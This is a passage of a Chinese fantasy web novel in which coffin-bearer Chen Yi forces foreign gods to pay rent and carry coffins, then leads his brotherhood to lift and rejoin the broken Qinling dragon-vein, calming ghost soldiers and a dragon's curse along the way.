“怎么回事?我的神力……”一尊手持雷霆战锤的北欧神祇惊骇出声。
“法则!此地的空间法则被篡改了!”另一位笼罩在圣光中的天使长失声尖叫。
那光影理事长暴怒,周身的光芒与阴影剧烈燃烧,试图以自毁部分本源为代价,强行夺回这片空间的控制权。
可祂很快就绝望地发现,这片空间的底层代码,早已被一张看不见的、写着“苏家老宅”的霸道房契,彻底改写。
在这里,陈义,就是唯一的GM。
“吵什么吵?”
陈义掏了掏被秦老震得有些发麻的耳朵,不耐烦地瞥了那满天神佛一眼。
“新店开张,不懂得先随份子钱,就在门口大喊大叫,影响我做生意。”
他根本不给对方任何反应的机会,直接冲着刚悠悠转醒的胖三一歪头。
“胖三。”
“哎!爷!”胖三一个激灵,从地上弹了起来。
“给各位老板算算账,哭个开门红!”
“得嘞!”
胖三瞬间心领神会。
他一把丢掉怀里没用完的“欠条”,从随身的小布包里掏出一个油光锃亮的黑漆算盘,又摸出一本线装的陈旧账本。
“哗啦啦——”
算盘珠子拨动的声音,在这一刻,竟比那雷神之锤的轰鸣还要刺耳。
胖三深吸一口气,酝酿了零点一秒,随即扯开他那天赋异禀的嗓门,对着那满天神佛,哭天抢地。
“我苦命的爷啊——!”
这一嗓子,差点把那几个神力低微的小神直接从天上给哭下来。
“您这新买的产业,刚到手就是一屁股的烂账啊!!”
胖三一把鼻涕一把泪,手指在算盘上快得出现了残影。
“奥林匹斯那旮旯,占着茅坑不拉屎,欠了三千年的场地使用费!还有物业管理费!滞纳金!利滚利!这得多少钱啊!”
“还有北欧那帮蛮子!天天在不周山的地界上打架,砸坏了花花草草不算,还搞出了好几条空间裂缝!破坏公共设施!这维修费清单拉出来,比奥丁老儿的裹尸布都长啊!”
“埃及那帮玩沙子的,搞金字塔违章建筑,影响了整个片区的风水龙脉!”
“还有你们!光影议会!天天开会,声光污染、噪音扰民!精神损失费怎么算?!”
他的哭声,不再是单纯的声音。
每一个字,都化作了最恶毒的因果律诅咒。
账本上,一行行触目惊心的“欠款”,凭空浮现。
他每算一笔“烂账”,虚空中便凝聚出一条由业力构成的漆黑枷锁,“哐当”一声,精准地缠绕在对应的神祇身上。
那些枷锁疯狂地抽取着他们的神力,作为还不上的“抵押”。
诸神惊骇欲绝。
他们发现,在胖三的哭嚎和那本诡异账本的“认证”下,自己竟然真的“欠”了!
而且,是足以让他们神格破产的天价债务!
“这……这是什么诅咒?!”
“不!这是规则!是契约的力量!”
“我们……我们的力量在流失!”
陈义环视全场,看着那些被业力枷锁捆得动弹不得的“老板们”,目光冰冷。
“欠债还钱,天经地义。”
他声音不大,却清晰地传入每一位神祇的灵魂深处。
“没钱?”
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“那就用命来抵。或者……”
陈义顿了顿,露出一抹让诸神胆寒的笑容。
“用你们的身体来打工。”
话音落下,他一挥手。
嗡——
八根散发着古老气息的乌木杠木,凭空出现,仿佛跨越了万古时空,不偏不倚,重重地落在了八位神力最强的神祇肩上。
战神阿瑞斯、雷神索尔、大天使加百列……
这些在各自神话中威名赫赫的存在,此刻却被那看似普通的木头杠子,压得一个趔趄,神躯剧震。
那杠木上,承载的不仅仅是物理的重量,更是“规矩”二字的无上分量。
“义字堂今天开分堂,缺几个抬棺的。”
陈义的目光,最终落在了那暴怒欲狂,却同样被规则压制的光影理事长身上。
“我看你们,就很合适。”
“现在,把他给我抬起来。”
“你敢——!”
“凡人!你这是对神祇的终极侮辱!”
诸神**无比,咆哮连连。
可他们的身体,却在“欠债打工”的至高法理和业力枷锁的束缚下,不由自主地调整着姿势,双腿微沉,竟硬生生结成了史上最豪华、最不可思议的……
八仙抬棺阵!
那光影理事长发出一声不甘的怒吼,祂那由光影构成的神体,被一股无形的力量强行揉捏、束缚,最终化作了一口散发着**光芒的……“棺材”形态。
“哐当”一声,被稳稳地架在了八位同僚的肩上。
陈义缓步走到阵前,如同过去无数次出殡一样,担任起“杠头”之位。
他眼神一凛,口中迸发出蕴含着天地法理的两个字。
“起——灵——!”
轰!
八位神祇被迫踏出了玄奥的“七星步”,抬着自己的理事长,一步一步,**地走向苏家老宅深处那扇洞开的空间门。
他们,将成为义字堂分堂的第一批“外籍劳工”。
陈义没有再看他们一眼。
他拿出那面病历铜镜。
镜面之上,原本只有一片神州大地的地图,此刻,在地图之外,一片全新的、被点亮的版图,正缓缓浮现。
版图之上,一行紫金小字熠熠生辉:
【不周山堂口(经营中)】
陈义对着镜子,仿佛在对整个宇宙,发布一则开业宣告。
“义字堂,业务范围正式拓展至诸天万界。”
“收租、收尸、收保护费。”
“欢迎下单。”
第160章 秦岭龙脊断!爷,咱家房梁让人撅了!
苏家老宅的院门,此刻不再是门。
它是一个通往混沌维度的巨大疮口,正无声地吞吐着混乱的法则气息。
光影理事长所化的那口“光棺”,在八位神祇的肩头**地颤抖着,最终被一股无形而霸道的规矩之力,强行“抬”进了那扇洞开的空间门。
门后,便是刚刚被陈义用一张“房契”强行盘下来的产业——不周山堂口。
“爷,这……这几位洋菩萨,怎么个章程?”
胖三揉着眼睛从地上爬起来,看着那八个被乌木杠木压得神光黯淡、气息萎靡的异域神祇,哈喇子都快流下来了。
这可都是行走的金山啊,随便一个的传说,都能写成一部几百万字的小说。
陈义没理他。
他只是走到院子中央,目光扫过天空中那些还没从震惊中回过神来的、数以百计的神佛虚影。
他开口,声音平静得像是在宣布一件微不足道的小事。
“义字堂,不周山分堂,今日开张。”
“三日之内,所有在此界有产业、有道场、有信徒的,来我这里登记造册。”
“补交,五千年的物业费和管理费。”
“逾期不候。”
每一个字,都像是刻刀,深深凿进这方天地的底层法则里。那张看不见的“房契”,就是他的底气,他的天理。
“凭什么!”一尊来自古印度神系的三头六臂神祇当场暴喝,神威如狱,震得空间嗡嗡作响。
陈义甚至没看他一眼。
他只是伸出右手食指,对着那尊神祇脚下的虚空,轻轻一点。
“噗!”
那神祇脚下的青石板地面,瞬间化作一片墨汁般的漆黑,一个血迹般朱红的“奠”字,一闪而过。
下一秒,那三头神祇骇然发现,自己与这方天地的所有法则联系,都被瞬间斩断!
他就像一个被后台管理员瞬间封禁的账号,所有权限清零。
引以为傲的神威,像是被针尖戳破的气球,瞬间干瘪下去。三颗头颅上的神光同时熄灭,整具神躯如断了线的木偶,从半空中直挺挺地掉了下来。
“砰”的一声闷响,在地上砸出一个狼狈至极的人形坑。
“违章建筑,**。”
陈义收回手指,语气淡漠。
“下一个。”
满天神佛,鸦雀无声。
他们终于彻骨地明白了,这不是威胁,这是通知。
在这座小院,在这片被“房契”烙下绝对**的领域里,陈义的话,就是规则!
胖三的算盘珠子拨得更快了,哭嚎声也更具穿透力,充满了幸灾乐祸的悲怆:
“哎哟喂!刚才掉下来的这位老板,可砸坏了我们家祖传的地砖啊!”
“这地砖可是前朝的宝贝,沾过真龙皇气的!您看这赔偿款……”
那刚从坑里爬起来的三头神祇,听见这话,眼前一黑,一口神血差点喷出来,活活气晕过去。
其余的神祇虚影你看我,我看你,脸上写满了憋屈、惊恐与无奈。
打,是肯定打不过了。
讲道理,人家的道理是地契,是房本,是这片天地的最高法。
他们这些“租户”,连存在的合法性,都被从根上刨了。
最终,一尊笼罩在清冷月光中的女神,仪态万千地微微躬身,声音带着一丝颤抖。
“我等……谨遵法旨。”
有了第一个带头的,其余的神祇也纷纷低下了平日里高傲无比的头颅。
形势比人强。
在别人的地盘上,就得守别人的规矩。
看着这些曾经俯瞰众生的存在一个个低头服软,胖三激动得浑身肥肉乱颤,手里的账本几乎要被他捏出水来。
他仿佛已经看到,无数神国的金库正向他敞开大门。
然而,陈义的目光,却并未在这些即将被收租的“大客户”身上过多停留。
他缓缓转身,重新看向那面悬浮在空中的病历铜镜。
就在刚刚,他以雷霆手段**诸神,强行将不周山纳入“义字堂”产业版图的瞬间。
铜镜之上,那片象征着神州大地的版图,发生了剧烈的、不祥的异变!
原本因为泰山、长城等“病灶”被修复而变得莹润光洁的版图,此刻,从神州大地的正中央,一条象征着龙脉主干的巍峨山脉——秦岭,骤然浮现出一道深可见骨的恐怖裂痕!
那裂痕漆黑如墨,仿佛一道永远无法愈合的狰狞伤疤,将整条巍峨的龙脉从中生生斩断!
裂痕之中,无尽的怨气、死气、煞气冲天而起,化作肉眼可见的黑色风暴,正疯狂地侵蚀着周围健康的区域。
铜镜之上,四个血红的大字,触目惊心,仿佛在滴血。
【秦岭:龙脉断脊】
“嗡——”
陈义的脑海如遭亿万吨重锤的轰击。
他瞬间明白了。
他强行接管不-周山,等于是在神州这间摇摇欲坠的老房子外面,加盖了一层坚不可摧的合金顶棚。
这虽然能挡住来自宇宙维度的风雨,却也将所有的压力,毫无保
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留地传导到了房子自身最核心的承重结构上!
秦岭,作为华夏大地的中央龙脊,就是这间“房子”的顶梁柱,是核心的承重墙!
这道墙,原来早就有了裂痕,只是被历代先贤用各种力量勉强维持着。
如今,外部压力陡增,这道古老的伤口,终于被他亲手压得……彻底崩裂!
“噗!”
陈义猛地向前弓下身子,一口滚烫的鲜血狂喷而出,溅落在身前的青石板上,瞬间将那块地砖腐蚀得滋滋作响。
他的脸色,在刹那间煞白如纸。
他与神州气运相连,秦岭龙脉断裂的痛苦,几乎是原封不动地反馈到了他的身上。
那是一种源自灵魂深处的恐怖撕裂感,仿佛自己的脊椎骨,被人用铁钳夹住,从血肉里一寸寸地硬生生抽了出去!
“爷!”
“大哥!”
胖三、大牛等人脸上的狂喜瞬间凝固,化为惊骇,连忙冲上来扶住他。
“我没事。”
陈义摆了摆手,强行压下喉头翻涌的腥甜。他缓缓直起身,眼神里没有痛苦,只有一种前所未有的凝重与冰冷。
泰山之殇,是附骨之疽。
长城之恸,是入髓之怨。
而这秦岭之断,是真正的断脊之伤!是足以让整个神州大地彻底瘫痪的致命重创!
“胖三。”陈义的声音沙哑,却透着一股不容置疑的决断。
“爷,您吩咐!”
“不周山分堂的业务,你全权负责。”陈义将那本写满了诸神“欠条”的账本,重重地拍在胖三怀里,“账本给你,算盘给你,规矩也告诉你了。”
他冰冷的目光扫过那些神祇。
“三天之内,我要看到第一笔款子。”
“收不上来,就让他们自己过来。”
“给我抬山。”
胖三闻言,眼睛瞪得溜圆,旋即狂喜地一挺胸膛:“得嘞!爷您就瞧好吧!我保证把他们裤衩子都给扒下来!”
陈义不再理他,转而对大牛、猴子等人下令:
“收拾家伙,最重的,最结实的,全都带上。”
“这次,不是抬棺,也不是捞尸。”
他抬头,目光仿佛穿透了院墙,穿透了**山河,望向了遥远的西方。
“我们去给这神州大地,接一次骨。”
“老七,联系秦老,最高等级战备。”
他顿了顿,一字一句,声音不大,却让整个院子的温度都降到了冰点。
“告诉他,有人把咱家的房梁,给撅了。”
第161章 敕令阴兵,断龙台前斩龙尸!
秦岭,拒绝降落。
军用直升机的旋翼撕扯着空气,发出痛苦的尖啸,机身却在空中诡异地平移,无法下降分毫。
驾驶员死死盯着下方,眼中布满血丝。
山峦的轮廓在视野中不断扭曲、折叠,上一秒还在十公里外的山巅,下一秒就几乎要撞上舷窗。
所有仪表盘的指针都在疯狂逆转,屏幕上只有一片死寂的雪花。
物理规则在这里,已经**。
“陈先生!空间紊乱!我们进不去!”飞行员的吼声在通讯频道里变了调。
机舱内,陈义的目光穿透了扭曲的空间。
他看到的,是凡人无法窥见的真实。
整条秦岭山脉,被一层浓稠如墨的怨气彻底笼罩,那是一条巨龙死后流淌出的尸骸脓血,凝固了时空,隔绝了生死。
“降绳梯。”
陈义的声音不大,却带着不容置喙的决断。
义字堂众人立刻行动,没有一人提出疑问。
被“请”来的摸金门掌舵人张金城,脸上血色尽褪。他怀里的七巧分金盘发出了不堪重负的哀鸣,指针不是在旋转,而是在抽搐,像是在被无形的手一寸寸折断。
“陈八爷……”张金城声音干涩发紧,“这里的地气不是乱,是……是尸气。整条龙脉,都成了一具巨大无比的僵尸!”
“我们踏下去,就等于直接踩进了尸体的嘴里。”
他话音未落,陈义已经抓住了绳梯,身影如一道黑线,第一个滑向那片死地。
双脚触地的瞬间,一股阴寒到足以冻裂魂魄的死气,沿着脊椎疯狂上涌。
大牛、猴子等人紧随其后,八人落地,呼吸间已结成阵势,将那股尸气死死挡在身外。
“吼——!”
众人刚站稳,四面八方的枯林中,响起了万千重叠的咆哮。
一个个身披残破秦甲、眼窝里燃着幽绿鬼火的士卒,从地底,从石后,从每一个阴影角落里,拖着腐朽的兵器,走了出来。
铁血煞气与千年怨念交织,化作一片黑色的海洋,将整个山谷围得水泄不通。
“阴兵借道……不对!”张金城骇然后退,“它们不是在‘借道’!龙脉是它们的坟,轮回之路断了,它们被自己的坟给困住了!”
为首一名骑着骸骨战马的独眼将军,手中长戈遥指陈义一行。
“擅闯皇陵禁地者,死!”
一声令下,万千阴兵化作黑色的死亡潮水,带着能碾碎一切生机的怨毒,悍然冲锋。
几个摸金校尉惊骇欲绝,掏出的黑驴蹄子在接触到煞气的瞬间就化为了飞灰。
这些,是战魂所凝的军煞,不入五行,不惧法器!
陈义眼皮都未曾抬一下。
“大牛。”
“在!”
大牛一步跨出,将那口黑沉沉的“百年柳木迎宾棺”重重顿在地上。
咚!
闷响如天心擂鼓,所有冲锋的阴兵身形齐齐一滞。
大牛双手扣住棺沿,腰背发力,肌肉虬结,对着那黑色狂潮,猛然掀开了棺盖!
“开——棺——迎——客!”
一轮金色的太阳,在棺材中轰然升起!
至阳至刚的浩瀚气息,化作毁灭性的光柱风暴,席卷而出。
冲在最前方的数百阴兵,连哀嚎都发不出,就在金光中被气化、蒸发,连一丝黑烟都未曾留下。
万千阴兵组成的军阵,竟被这一口棺材,硬生生顶了回去!
独眼将军胯下的骸骨战马不安地嘶鸣,它眼中的鬼火剧烈闪烁,透出本能的恐惧。
陈义缓步上前,穿过金光与黑雾交织的战场,径直走到那独眼将军面前。
“哪朝的兵?”他问。
独眼将军的鬼火凝视着他,机械地回答:“大秦锐士,蒙家军!”
“奉命镇守龙脉?”
“然!”
陈义点了点头,不再多言。
他抬起眼,目光扫过眼前这支被困了两千年的无敌之师。
“我,陈义,当代炎黄执绋人。”
他的声音陡然变得宏大而威严,不再是询问,而是颁布法旨。
“大秦已亡,国祚断绝。尔等使命已终。”
“此为炎黄新律!”
话音落下的瞬间,他眉心那枚沉寂的人皇印记,骤然亮起!
一道紫金神光冲天而起,化作一枚遮天蔽日的古朴大印,烙印在秦岭的天穹之上!
“奉——诏!”
陈义口含天宪,一字一顿。
“卸——甲——归——墟!”
轰!
至高无上
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的人道权柄,如滚烫的烙铁,烫在了每一个阴兵的灵魂深处。
那是源自血脉源头的绝对敕令,是炎黄子孙无法抗拒的终极规则!
“陛下……”
“家……阿房宫……”
万千锐士仰天悲啸,他们身上凝聚了两千年的不朽军魂与滔天煞气,如同被击碎的琉璃,寸寸崩解。
一副副秦甲化作光点,一张张模糊的面容上,流下两行黑色的血泪。
他们解脱了。
独眼将军呆立许久,最终翻身下马,对着陈义,单膝跪地,行了一个早已失传的大秦军礼。
“末将蒙恬,谢先生……为大秦,送行。”
他的身影开始变得透明。
“先生……前方是‘断龙台’……龙脉断裂之核心……我们**了两千年的‘龙尸’……快要……活了……”
话音未落,这位千古名将与他的战马,便化作最后一缕青烟,消散于天地。
阴兵散尽,前路洞开。
一座仿佛被创世神一斧劈开的恐怖断崖,横亘在众人面前。
断崖两侧,相隔万丈,中间是深不见底的漆黑深渊,无数破碎的空间碎片在其中明灭。
那里,就是秦岭龙脉的断口。
断崖正中,一座悬浮于虚空的巨大石台之上,一头堪比山岳的怪物,被九十九条刻满远古符文的青铜锁链,死死钉穿了身躯。
那怪物没有固定形态,只是一团蠕动、扭曲、不断生出又毁灭无数怨毒面孔的纯粹黑暗。
仅仅是看上一眼,就让所有人感到自己的灵魂要被那无尽的恶意与诅咒所吞噬。
“那……那就是将军说的……‘东西’?”胖三的声音抖得不成样子。
“不。”
张金城死死盯着那怪物,怀中的分金盘发出了绝望的哀鸣,最终“咔嚓”一声,裂开了一道缝。
陈义替他说了出来,眼神前所未有的凝重。
“那是‘龙尸’。”
“是整条秦岭龙脉死后,所有怨气、煞气、死气凝聚而成的……活着的尸体。”
石台上的“龙尸”,似乎感应到了生灵的气息。
它猛地一挣,九十九条青铜锁链发出刺耳欲裂的尖啸,其中几条最粗的锁链上,竟崩开了蛛网般的裂纹。
第162章 八仙抬山,敕令诸神为我助阵!
那“龙怨”所化的怪物,发出的并非声音。
而是一种足以撕裂灵魂的意志咆哮。
“滚出我的身体!”
“噗通!”
“噗通!噗通!”
张金城带来的那些摸金校尉,连惨叫都来不及发出,魂魄便被这股意志当场震成了齑粉。
一具具身体软倒在地,七窍中流淌出混合着脑浆的黑血,瞬间毙命。
剩下几个侥幸未死的,也瘫在地上,眼神彻底涣散,沦为失了魂的行尸走肉。
张金城死死抱着怀里的分金盘,法器绽放出的微光如风中残烛,护住了他最后一丝心神。
饶是如此,他仍感觉自己的天灵盖像是被一柄无形的重锤狠狠砸中,一口滚烫的心血狂喷而出,整个人瞬间萎靡了下去。
“好家伙。”
陈义站在原地,纹丝未动。
“脾气倒是不小。”
他眉心处,那枚古朴的【人皇印】绽放出一圈温润的紫金光晕,如同水波荡开。
那恐怖的意志冲击波撞在这层光晕上,便如泥牛入海,被无声无息地消解、抚平,连一丝涟漪都未曾惊起。
“爷,这……这玩意儿怎么搞?看着比上次那个冠军侯还凶一万倍啊!”胖三躲在大牛山峦般的身躯后,只敢探出半个脑袋,声音都在发颤。
“这不是凶不凶的问题。”
陈义的目光,却越过了那头狰狞咆哮的“龙怨”,投向了它身下那座悬浮于虚空中的“断龙台”。
以及,断龙台两侧,那相隔数千米、切口平整得令人心悸的巨大断崖。
“它是龙脉伤口上,流出的脓血。”
陈义的声音很平静。
“杀了它,脓血还会再流。不杀它,我们连靠近伤口都做不到。”
这是一个无解的死循环。
“张金城。”陈义头也不回地问道,“还能动吗?”
“咳咳……还……还死不了。”张金城挣扎着盘膝坐起,抹去嘴角的血沫,脸色惨白如纸。
“用你的分金定穴,把这整片断崖的地气走向、龙脉节点,给我一寸一寸地算出来。”
陈义的指令清晰而冰冷。
“我要知道,这两块‘断骨’,要怎么才能严丝合缝地对上。”
张金城猛地一愣,随即瞳孔剧烈收缩,脸上浮现出极致的骇然。
“八爷,您……您该不会是想……”
“没错。”
陈义的眼底,倒映着断裂的山河,一丝让神魔都为之战栗的疯狂在其中悄然滋生。
“我要把这山,给它抬起来,重新接上。”
“抬……抬山?!”
张金城以为自己出现了幻听,以至于心神错乱。
那可是秦岭!
是华夏的祖脉!是绵延上千里的巍峨山脉!
抬棺材和抬山,这根本不是一个量级的概念!
这是创世神话里才有的手笔!
“规矩,都是人定的。”陈义反问,语气理所当然,“棺材能抬,山,为什么不能抬?”
“胖三!”
“在!”
“还记得我让你收的那些租金吗?”
“记着呢!爷!”胖三一听这个,顿时来了精神,眉飞色舞地汇报起来,“奥林匹斯那帮穷鬼,差点把雅典娜都抵押给我了,才凑齐了滞纳金!北欧那帮蛮子更狠,直接把世界树的嫩芽掰了一根给我当利息……”
“很好。”陈义打断了他,“现在,是他们交了租,我们义字堂提供售后服务的时候了。”
他缓缓伸出手,掌心向上。
嗡——
苏家老宅里,那本被胖三视若珍宝、记录着诸天神魔欠款的诡异账本,瞬间撕裂虚空,凭空出现,静静地悬浮在陈义的掌心。
陈义翻开账本,书页无风自动,最终停在了写满“奥林匹斯神系”、“北欧神系”、“天堂山”等字样的一页。
他伸出手指,在那一排排威名赫赫的神祇名字上,重重一点。
指尖落下,仿佛敲响了某个跨越维度的契约法钟。
“义字堂,不周山分堂,甲字号劳务派遣合同。”
“敕令——”
“借调天兵,前来助阵!”
话音落下的瞬间,秦岭断龙台的万丈高空之上,空间如同脆弱的玻璃般被一股蛮横的力量强行撕裂!
“轰隆!”
一道比山岳还粗的狂暴雷霆轰然劈下,手持“姆乔尔尼尔”的雷神索尔,满脸极度不情愿地从空间裂缝里被“挤”了出来。
他高大的神躯上,还套着一件印有“义字堂劳务派遣”几个烫金大字的土味蓝色工服,背后还有一个大大的“安”字。
紧接着,身穿同款工服的战神阿瑞斯、大天使加百列、太阳神阿波罗……
八位之前被陈义抓去“抬棺”的顶级神祇,一个接一个地被那份霸道无比的劳务合同,从各自的神国中强行拽了出来,出现在秦岭上空。
他们甫一降临,便感受到了下方那头“龙怨”身上散发出的、足以污染神格的创世级怨气,以及那断裂山脉所带来的末日景象,一个个脸色骤变。
“凡人!你又把我们召唤来这种鬼地方干什么!”阿瑞斯脾气最爆,当场咆哮起来。
“干活。”陈义的回答只有两个字。
他抬手,遥遥一指下方那头搅动风云的“龙怨”。
“你们八个,给我把它按住。别让它乱动。”
“你做梦!那是东方的龙脉怨灵,其位格等同于混沌之初的泰坦!我们凭什么……”
索尔的话还没说完,他的神魂深处,一股来自契约的恐怖力量便轰然爆发,仿佛一柄烧红的烙铁,狠狠烙在他的灵魂本源之上。
剧痛让他闷哼一声,神格都险些当场破碎。
“别废话。”陈义的声音冷得像西伯利亚的寒风,“你们是租户,我是房东。在我的地盘上,我有权不定期发布‘社区义务劳动’任务。这是写在租赁合同补充条款第三千七百二十一条里的。”
八位神祇差点气到神力紊乱,当场**。
他们什么时候签过这种比魔鬼契约还黑的霸王条款!
但来自灵魂深处的灼痛与束缚提醒着他们,反抗的下场,可能会比死更难受。
八位在各自神话中呼风唤雨的顶级存在对视一眼,都从对方眼中看到了同样的**、憋闷和无可奈何。
最终,索尔发出了一声野兽般的怒吼,第一个举起了雷神之锤,引动万丈紫电,化作一道撕裂天穹的雷霆长矛,狠狠地砸向了“龙怨”!
“为了阿斯加德(的租金减免)!”
一场堪称神话史诗级的乱战,就在断龙台的上空,毫无征兆地爆发了。
八位来自不同文明体系的顶级神明,围着一头由华夏祖脉怨气所化的恐怖怪物,展开了疯狂的围殴。
神力与怨气对撞,法则与诅咒交织,打得天崩地裂,日月无光。
陈义却连看都没再看他们一眼,仿佛那毁天灭地的战斗,只是无关紧要的背景音乐。
他的全部心神,都集中在了下方盘坐的张金城身上。
张金城此刻已经彻底拼了老命。
他咬破舌尖,将一口蕴含着自身全部道行的心头精血,尽数喷洒在七窍分金盘上!
“燃血开眼,三界洞开!”
以燃烧生命为代价,他强行窥探着这片死亡绝地的地脉走向。
在他的视野里,巨大的断崖化作了亿万条由“气”构成的复杂经络。他要在这些早已坏死、缠绕、扭曲的经络中,找出那几条能够承载起整座山
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脉重量的“主龙筋”!
时间,一分一秒地过去。
半个时辰后。
“找到了!”
张金城发出一声凄厉的惨叫,双目之中,两行血泪汩汩流下,整个人向后一倒,彻底虚脱昏死过去。
但他最后的声音,却清晰地回荡在陈义耳边。
“东南巽位,地下三千丈,是‘天枢’龙穴!西北乾位,对应‘地轴’!以此为支点……可以……撬动……整座……山!”
“好!”
陈义等的就是这句话!
他猛地转身,面向义字堂的兄弟们,发出了穿越千古、振聋发聩的号令。
“义字堂听令!”
“在!”
胖三、大牛、猴子……七人齐声怒吼,声震云霄!
“今日,不抬棺,不送灵!”
陈义的声音里,带着一股前所未有的豪迈与霸道。
“咱们抬一次这**山河!”
“八仙归位!”
陈义一声令下,义字堂八人,包括他自己,瞬间按照“八仙抬棺阵”的玄奥方位悍然站定。
但这一次,他们脚下没有杠木,更没有棺材。
他们脚下,是神州大地的脊梁!是断裂的**龙脉!
“以我身为杠,以我血为引!”
陈义双手掐诀,体内沉寂的【炎黄令】、【人皇印】、【社稷鳞】……所有与这片神州大地血脉相连的至高权柄,在这一刻,被他毫无保留地催动到了极致!
“以我兄弟为阵,以我魂为心!”
其余七人,在同一瞬间,将自身所有的精、气、神,毫无保留地与陈义连为一体!
八人的气息,凝聚成了一尊看不见的、撑天拄地的无形巨人!
“八仙抬棺终极式——”
陈义的双眼,迸射出无比璀璨的紫金光芒,他仰天长啸,声音仿佛贯穿了华夏五千年的历史长河。
“——乾坤同抬!”
轰——隆——隆——
在所有人,包括天上那八个打得正欢的异域神祇惊骇欲绝的目光中,长达数千里的巍峨秦岭,那断裂的两端,竟然真的开始发出了不堪重负、仿佛世界末日般的呻吟!
大地剧烈地颤抖、撕裂!
无数山峰开始以肉眼可见的恐怖幅度,缓缓地、一寸一寸地……被一股无法想象的威力,从大地上硬生生抬了起来!
义字堂八人,此刻仿佛化作了八尊远古的撑天巨人。
他们以自身为阵眼,以天地为杠杆,以意志为撬棍,硬生生地扛起了一整条山脉的重量!
“起——!”
陈义一声怒吼,八人脚下的土地瞬间塌陷成深不见底的巨坑!
他们的身体表面,皮肤寸寸崩裂,开始渗出一滴滴金色的、如同熔融黄金般的液体。
那是“阳髓”!
是他们生命本源在极限燃烧、升华后,所凝结的精华!
然而,在那无尽的痛苦与重压之下,那两段被抬起的、绵延千里的巨大山脉,却在空中划过一道宏伟到无法用语言形容的弧线,带着足以碾碎一切的无上威势,开始缓缓向中间合拢!
就在这时!
那头被八位神祇围殴得遍体鳞伤的“龙怨”,似乎也感觉到了自己即将被两端山脉合拢而彻底碾碎的命运。
它发出一声绝望而怨毒到极致的咆哮,庞大如山的身躯猛地炸开!
轰!
它没有选择攻击那些神祇,而是化作了亿万道最精纯、最恶毒的黑色诅咒洪流,无视了所有拦截,如同一场吞噬光明的黑色暴雨,朝着下方正在全力“抬山”、无法动弹分毫的义字堂八人,覆盖而来!
这是它最后的,也是最恶毒的同归于尽!
而首当其冲的,正是作为阵法核心“杠头”的陈义!
第163章 以身为棺,我为山河送大葬!
亿万道怨毒诅咒汇成的黑色暴雨,铺天盖地。
那不是物理层面的攻击,而是纯粹概念的集合体。
是创伤、是痛苦、是背叛、是绵延两千年的不甘与绝望。
高天之上,刚刚还打得神威赫赫的索尔等人瞬间停手,神色剧变。
他们能用雷霆劈开山脉,能用神力蒸发江河,却对这种源自一个文明龙脉核心的“心病”,束手无策。
这股力量无视神力屏障,无视法则防御,直接作用于“存在”本身。
“疯子!快躲开!”
阿瑞斯下意识地咆哮,可他自己也清楚,这东西,根本躲不开。
“完了完了完了……”
胖三眼睁睁看着那片纯粹的“死亡”当头压下,吓得魂飞魄散,连哭丧的本能都忘了,下意识就想从兜里掏出一沓冥币扔出去。
“爷!顶不住咱就撤!留得青山在,不怕没柴烧啊!”
然而,义字堂八人,以身为阵,扛着两段山脉,如同被钉死在大地上的八尊巨人,退无可退,避无可避。
所有人的目光,都汇聚在了阵法最前端,那个独自承受了九成以上压力的身影上。
面对这足以让神祇都当场陨落的怨毒洪流,陈义的脸上,没有恐惧,没有凝重,甚至没有一丝一毫的波动。
他只是抬起了头,静静地看着那片黑暗。
他的眼神,不是在看一个敌人。
而是在看一个即将下葬的“亡者”。
抬棺匠的规矩,亡者为大。
亡者临终前所有的怨、所有的恨、所有的不甘,你都得接着。
接不住,是你学艺不精,活该被煞气冲死。
接住了,安安稳稳送他上路,这是你的本分。
这头“龙怨”,就是秦岭龙脉这位“亡者”,在弥留之际,吐出的最后一口怨气。
“胖三,哭丧。”
陈义的声音,在轰鸣的天地间,清晰地传到每个人耳中。
“啊?”胖三一愣,都这时候了,还哭?
“哭。”
陈义的语气不容置疑。
“拿出你给秦老太爷哭坟的本事,给我往死里哭。”
“今日,咱们义字堂,不光要抬山,还要给这山,办一场风风光光的大丧!”
胖三是生意人,但他更是陈义一手带出来的兵。
一听这话,他脑子里那根弦瞬间就搭对了。
他明白了,爷这是要把这毁天灭地的怨气,当成一场“丧事”来办!
“得嘞!您就瞧好吧!”
胖三深吸一口气,收起了所有恐惧,双腿一软,极为专业地“噗通”一声跪倒在地。
他双手拍着大腿,酝酿了不到一秒,便扯开嗓子,嚎出了他毕生功力之所系、惊天地泣鬼神的一嗓子。
“我的山啊——!我的祖宗山哎——!”
“您怎么就断了啊——!哪个天杀的挨千刀的下的黑手啊——!”
“您疼了两千年,苦了两千年,没人问,没人管,如今我们这些不孝子孙才来给您接骨啊——!”
“您心里有怨,您心里有恨,您就冲我们来!我们接着!是我们对不住您啊——!”
胖三的哭声,抑扬顿挫,饱含“真情实感”,每一句都精准地踩在了那股怨气的“痛点”上。
他不是在对抗,而是在“共情”。
诡异的一幕发生了。
那亿万道黑色诅咒洪流,在触及到胖三那专业的哭丧声波后,竟然微微一滞。
其中蕴含的狂暴、毁灭的意志,仿佛被一股更“专业”的悲伤情绪所引导、所安抚,稍稍平息了一丝。
就在这一瞬间,陈义动了。
他没有结印,也没有催动任何神通。
他只是张开了口,用一种古老、沙哑、仿佛从时间长河源头传来的语调,低声吟唱。
“天地玄黄,宇宙洪荒……”
“魂兮归来,东方不可以托些……”
“魂兮归来,南方不可以止些……”
这不是什么杀伐大术,而是义字堂代代相传,在每次起灵前,为亡者安魂,指引道路的《起灵咒》。
今天,他要“起”的“灵”,是这**秦岭积压两千年的怨!
随着陈义的吟唱,他眉心的【人皇印】、【社稷鳞】、【炎黄令】不再是绽放光芒,而是化作了一个深邃无比的紫金色旋涡。
那亿万道黑色诅咒洪流,仿佛找到了宣泄的出口,找到了最终的归宿。
它们不再是狂暴地冲击,而是化作一道道黑色的细流,被陈义的身体,被他这个“人形的棺椁”,主动地、全盘地吸了进去!
“他在干什么?他在吞噬那些诅咒?!”高天之上,大天使加百列的羽翼都在颤抖。
“不,不是吞噬。”
索尔的眼中,写满了震撼与不解。
“他……他在‘超度’!他在为一条山脉的‘怨恨’,举行一场葬礼!”
这个概念,已经完全超出了他们的认知范畴。
无穷无尽的痛苦、绝望、疯狂,如决堤的洪水,涌入陈义的识海。
那是足以让一颗星球的生灵瞬间**的精神剧毒。
陈义的身体剧烈地颤抖起来,七窍之中,流出的不再是金色的“阳髓”,而是被怨气侵染后,呈现出一种诡异的黑金色的血液。
他的意识,在无边的黑暗中沉浮,仿佛下一秒就要被彻底同化、撕碎。
但他死死守着心中一点灵台清明。
他是谁?
他是抬棺匠。
他的职责是什么?
送亡者上路,让规矩落地。
这股怨气,就是“亡者”。
他陈义,就是“棺”。
